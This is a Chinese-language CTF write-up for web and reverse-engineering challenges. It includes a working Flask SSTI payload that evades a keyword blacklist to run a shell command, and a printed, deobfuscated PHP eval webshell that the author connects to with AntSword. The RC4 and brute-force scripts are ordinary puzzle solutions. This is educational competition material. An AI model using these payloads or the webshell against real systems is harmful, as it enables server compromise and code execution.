第十八届信息安全大赛 && 第二届长城杯 - web&re wp
Werqy3 发表于 湖南 CTF 455浏览 · 2024-12-15 09:14

web

Safe_Proxy

源码:

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)


@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>' + html.escape(f.read()) + '</pre>'


@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'


class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data

            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                                                                                b"Content-Type: text/html; charset=utf-8\r\n" \
                                                                                b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()


def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()


def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)


if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

根据源码可以知道这个是ssti无回显注入

对于无回显有两种方法:内存马和写文件和反弹shell,这里节约时间就用写文件

这里用一个python脚本绕过waf

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
    dangerous_patterns = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for pattern in dangerous_patterns:
        if pattern in s:
            # print("Dangerous pattern found:", pattern)
            return False
    return True

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "cat /flag>>app.py")
    # config_payload = config_payload(waf)

    print(shell_payload)
    # print(f"{config_payload=}")

生成出来,把执行的命令写入到/目录下面进行回显

{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ey='so'[::-1]%}{{g.pop[gl][bu][im](ey)['p''open']('cat /flag>>app.py').read()}}

hello_web

这里一直读不到hackme,后面测试了很久,发现过滤了../,可以双写绕过

成功读到源码:

<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

base64解码这一段:

JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw==
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

直接echo出来就行了

<?php
//highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
//eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
echo $YwzIst;
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
echo '?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));
?>

获得一句话木马的密码

需要绕过下划线

蚁剑连接一下

经过翻看成功在/run/log下翻到

re

ezCsky

百度成功找到了这个程序的汇编查看方式:MotoFanRu/M-CORE_IDA-Pro: M·CORE processor support module for IDA Pro
直接在ida里面看汇编:

发现加密逻辑很清楚:check的异或后面就是rc4
直接在ida里面找key和密文:

.text:00008958 $d_13:          .ascii "testkey",0      // DATA XREF: main+E↑r
.text:00008958                                         // main+12↑r

.rodata:00008AA0 dword_8AA0:     .long 0x8B88F96         // DATA XREF: main+1A↑r
.rodata:00008AA0                                         // .text:off_8960↑o
.rodata:00008AA4                 .long 0x4468A75D
.rodata:00008AA8                 .long 0x649264F2
.rodata:00008AAC                 .long 0xE6787A42
.rodata:00008AB0                 .long 0xB878C2EA
.rodata:00008AB4                 .long 0x3D5B9E63
.rodata:00008AB8                 .long 0xC83F28D9
.rodata:00008ABC                 .long 0x6BEE0673
.rodata:00008AC0                 .long 0xA34B0C8D
.rodata:00008AC4                 .long 0x40CAAE23
.rodata:00008AC8                 .short 0xD1ED

直接就可以搓脚本:

def rc4(key, data):
    S = list(range(256))
    j = 0
    key_length = len(key)

    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]

    i = 0
    j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        result.append(byte ^ K)

    return bytes(result)


def unxor(data):
    data = bytearray(data)
    for i in range(len(data) - 1, 0, -1):
        data[i - 1] ^= data[i]
    return bytes(data)


def main():
    key = b"testkey"
    enc = [
    150, 143, 184,   8,  93, 167, 104,  68, 242, 100, 
    146, 100,  66, 122, 120, 230, 234, 194, 120, 184, 
    99, 158,  91,  61, 217,  40,  63, 200, 115,   6, 
    238, 107, 141,  12,  75, 163,  35, 174, 202,  64, 
    237, 209
    ]

    decrypted = rc4(key, enc)
    final_result = unxor(decrypted)

    print(f"解密结果:{final_result}")


if __name__ == "__main__":
    main()

dump

动态调试发现这里会输出字符串,所以加密后的数据会从这里输出
伪代码过于复杂了,尝试手动测试flag!
发现是单字节加密,每次输入正确前几个字符flag,发现数据和flag文件的数据相同

PS D:\> .\re.exe f
PS D:\> .\re.exe fl
2329
PS D:\> .\re.exe fla
23291e
PS D:\> .\re.exe flag
23291e24

直接就可以开始爆破了

import subprocess
from string import printable

ENCRYPTED_VALUES = [35, 41, 30, 36, 56, 14, 21, 32, 55, 14, 5, 32, 0, 14, 55, 18, 29, 15, 36, 1, 1, 57]

def brute_force_flag(start_flag='flag{', start_index=5, max_length=22):
    flag = start_flag
    for idx in range(start_index, max_length):
        for char in printable:
            output = subprocess.run(['re.exe', flag + char], capture_output=True, text=True).stdout.strip()
            try:
                if int(output[idx * 2:idx * 2 + 2], 16) == ENCRYPTED_VALUES[idx]:
                    flag += char
                    print(f"字符 '{char}' 匹配成功,当前 flag: {flag}")
                    break
            except (IndexError, ValueError):
                continue
        else:
            print(f"无法找到索引 {idx} 处的匹配字符,终止破解。")
            break
    return flag

if __name__ == "__main__":
    final_flag = brute_force_flag()
    print(f"最终 flag: {final_flag}")
0 条评论
某人
表情
可输入 255